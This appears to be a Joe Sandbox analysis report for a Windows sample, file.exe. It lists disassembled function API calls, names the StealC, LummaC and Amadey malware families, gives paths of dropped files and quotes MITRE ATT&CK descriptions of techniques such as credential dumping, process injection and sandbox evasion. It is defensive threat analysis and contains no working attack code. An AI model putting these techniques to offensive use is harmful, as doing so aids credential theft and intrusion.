memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CAE4E9C,?,?,?,?,?), ref: 6CAE5167
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?), ref: 6CAE5196
memcpy.VCRUNTIME140(036477E8,?,?,?,?,?,?,?,6CAE4E9C), ref: 6CAE5234

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction ID: e5d1e5238b11768d09f3a4f45b0169ab214a8deb97985774c724e93dd48037e7
Opcode Fuzzy Hash: 933be0c35787ef1d59b8af2b73a0f28f4363cc6c90fe8bc4464883a815d3fd0d
Instruction Fuzzy Hash: B491AD39505616CFCB14CF08D490A5ABBA2FF8D318B298588ED589B715D331FC82CBE0

Function 6CB208F0 Relevance: 5.2, APIs: 4, Instructions: 165COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB6E7DC), ref: 6CB20918
LeaveCriticalSection.KERNEL32(6CB6E7DC), ref: 6CB209A6
EnterCriticalSection.KERNEL32(6CB6E7DC,?,00000000), ref: 6CB209F3
LeaveCriticalSection.KERNEL32(6CB6E7DC), ref: 6CB20ACB

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: ec132a350a6284128c1077ec32eafa37d2fdf2be6b52d931e0c2f99fc1ea4139
Instruction ID: 33b8f54ef4af776a3e71abb0135a4081c2e5ac3b3b9d3348375fed429c1017eb
Opcode Fuzzy Hash: ec132a350a6284128c1077ec32eafa37d2fdf2be6b52d931e0c2f99fc1ea4139
Instruction Fuzzy Hash: 3A514B327035D4CFEB089A5AE82073A73B1EB86B24724453AD96E97FC0D734E80187C1

Function 6CB3B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6CB3B2C9,?,?,?,6CB3B127,?,?,?,?,?,?,?,?,?,6CB3AE52), ref: 6CB3B628

Part of subcall function 6CB390E0: free.MOZGLUE(?,00000000,?,?,6CB3DEDB), ref: 6CB390FF
Part of subcall function 6CB390E0: free.MOZGLUE(?,00000000,?,?,6CB3DEDB), ref: 6CB39108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB3B2C9,?,?,?,6CB3B127,?,?,?,?,?,?,?,?,?,6CB3AE52), ref: 6CB3B67D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6CB3B2C9,?,?,?,6CB3B127,?,?,?,?,?,?,?,?,?,6CB3AE52), ref: 6CB3B708
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,?,?,6CB3B127,?,?,?,?,?,?,?,?), ref: 6CB3B74D

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 3cdd8290d4356b9089b45f4fa4c9b77c7e26564f3ea7562e4d20e137f671fdc0
Instruction ID: d9bb0628e41fee548bd41ff19e95485999a3aa6b3f46fc338893638a74eba8c4
Opcode Fuzzy Hash: 3cdd8290d4356b9089b45f4fa4c9b77c7e26564f3ea7562e4d20e137f671fdc0
Instruction Fuzzy Hash: 9C51ED71A01A66CBDB14CF58C98876EB7B5FF84304F05A52DC85EAB709DB30A804CBA1

Function 6CB3DF90 Relevance: 5.1, APIs: 4, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6CB2FF2A), ref: 6CB3DFFD

Part of subcall function 6CB390E0: free.MOZGLUE(?,00000000,?,?,6CB3DEDB), ref: 6CB390FF
Part of subcall function 6CB390E0: free.MOZGLUE(?,00000000,?,?,6CB3DEDB), ref: 6CB39108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB2FF2A), ref: 6CB3E04A
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6CB2FF2A), ref: 6CB3E0C0
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,6CB2FF2A), ref: 6CB3E0FE

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: f244e7f28c59a459c5c3a0c843570570ae78780338d23264859ead4f54e98b61
Instruction ID: 399125da94ca189c8e1c57cc5c4e7c586615bdce62c1a6ea1b7c17f5545120ec
Opcode Fuzzy Hash: f244e7f28c59a459c5c3a0c843570570ae78780338d23264859ead4f54e98b61
Instruction Fuzzy Hash: BE41E1B16046E68FEB14CF68C88176E73BAEB45308F14093AD55ADB740E735ED05CB92

Function 6CB36E50 Relevance: 5.1, APIs: 4, Instructions: 106COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000018), ref: 6CB36EAB
memcpy.VCRUNTIME140(00000000,00000018,-000000A0), ref: 6CB36EFA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001), ref: 6CB36F1E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB36F5C

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: malloc$freememcpy
String ID:
API String ID: 4259248891-0
Opcode ID: 5200248f0b43c16ff5d844949f29f355a1db78396ec15b71e0bfe6856e1e2988
Instruction ID: 8d0d4e14cec638471118fc5f88f214b1d9b17a1a8b1644921d96d7a27b08a5b2
Opcode Fuzzy Hash: 5200248f0b43c16ff5d844949f29f355a1db78396ec15b71e0bfe6856e1e2988
Instruction Fuzzy Hash: A731E371A1061A8FDB04CF2DCD806AE73E9FB84344F508239D41EC7691EB31E669C7A1

Function 6CB4B580 Relevance: 5.1, APIs: 4, Instructions: 102COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,6CAF0A4D), ref: 6CB4B5EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000020,?,6CAF0A4D), ref: 6CB4B623
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,?,6CAF0A4D), ref: 6CB4B66C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000002,?,?,6CAF0A4D), ref: 6CB4B67F

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: malloc$free
String ID:
API String ID: 1480856625-0
Opcode ID: 7862337cc9be899ee5d001ae3ef3dbc58b87e557a596b80c934c2ca745e850ee
Instruction ID: 14dfb6fe5c72e85459a8682cb720feaa28a2d00f5daf2331a0389a74a5af7dcb
Opcode Fuzzy Hash: 7862337cc9be899ee5d001ae3ef3dbc58b87e557a596b80c934c2ca745e850ee
Instruction Fuzzy Hash: 9B31F471A046168FDB10DF59C84466EFBB5FF81304F16C529C90A9B249DB31E915CBA1

Function 6CB1F5A0 Relevance: 5.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00010000), ref: 6CB1F611
memcpy.VCRUNTIME140(?,?,?), ref: 6CB1F623
memcpy.VCRUNTIME140(?,?,00010000), ref: 6CB1F652
memcpy.VCRUNTIME140(?,?,?), ref: 6CB1F668

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction ID: 8c7c73aeb2bc642faf4306ffb6ec2d0aeb1a5505f6391a2271e94ab2d17baa71
Opcode Fuzzy Hash: cd72a4b24c16f126375525e6a79600fc7eb806012afa7aeaa1976f5403f08771
Instruction Fuzzy Hash: 2C315E71A04254AFC714DF59CCC4A9F77BAEB88354B188538EA498BF04E631ED44CB90

Function 6CB326B0 Relevance: 5.0, APIs: 4, Instructions: 45COMMON

Download Yara Rule

APIs

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB326C1
free.MOZGLUE(?), ref: 6CB326E4
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CB326FF
free.MOZGLUE ref: 6CB3270D

Memory Dump Source

Source File: 00000000.00000002.2763897513.000000006CAE1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CAE0000, based on PE: true

Associated: 00000000.00000002.2763867317.000000006CAE0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2763986733.000000006CB5D000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764017485.000000006CB6E000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2764044772.000000006CB72000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cae0000_file.jbxd

Similarity

API ID: free
String ID:
API String ID: 1294909896-0
Opcode ID: bfdfe0f86e034416332d1abcbc7968bce16cf3624325baf75fa3e70c94681b60
Instruction ID: 299594ebdc31dd1adc723450be8695c78d67694e56654c763aeef9f6cc39a73a
Opcode Fuzzy Hash: bfdfe0f86e034416332d1abcbc7968bce16cf3624325baf75fa3e70c94681b60
Instruction Fuzzy Hash: A2F0F9B27012905BEB009E58D88895B73ADFF51258B100035EA1EC3B03E731F918C7D7

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Process: OS API Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report file.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: StealC

Threatname: LummaC

Threatname: Amadey

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\AAEHIDAKECFIEBGDHJEB

C:\ProgramData\AECAECFCAAEBFHIEHDGH

C:\ProgramData\AECAKECAEGDHIECBGHIIIIEGHD

C:\ProgramData\DHDAFBFC

C:\ProgramData\GDHIEHJEBAAFIDHJEBGIEBFIJK

C:\ProgramData\GIEGHJEGHJKFIEBFHJKK

C:\ProgramData\JKECFCFB

C:\ProgramData\freebl3.dll

Windows Analysis Report
file.exe

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Application Log: Application Log Content, Command: Command Execution, File: File Access, Logon Session: Logon Session Creation, Network Traffic: Network Connection Creation
Platforms:	Google Workspace, Linux, macOS, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may use legitimate desktop support and remote access software to establish an interactive command and control channel to target systems within networks. These services, such as `VNC`, `Team Viewer`, `AnyDesk`, `ScreenConnect`, `LogMein`, `AmmyyAdmin`, and other remote monitoring and management (RMM) tools, are commonly used as legitimate technical support software and may be allowed by application control within a target environment.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre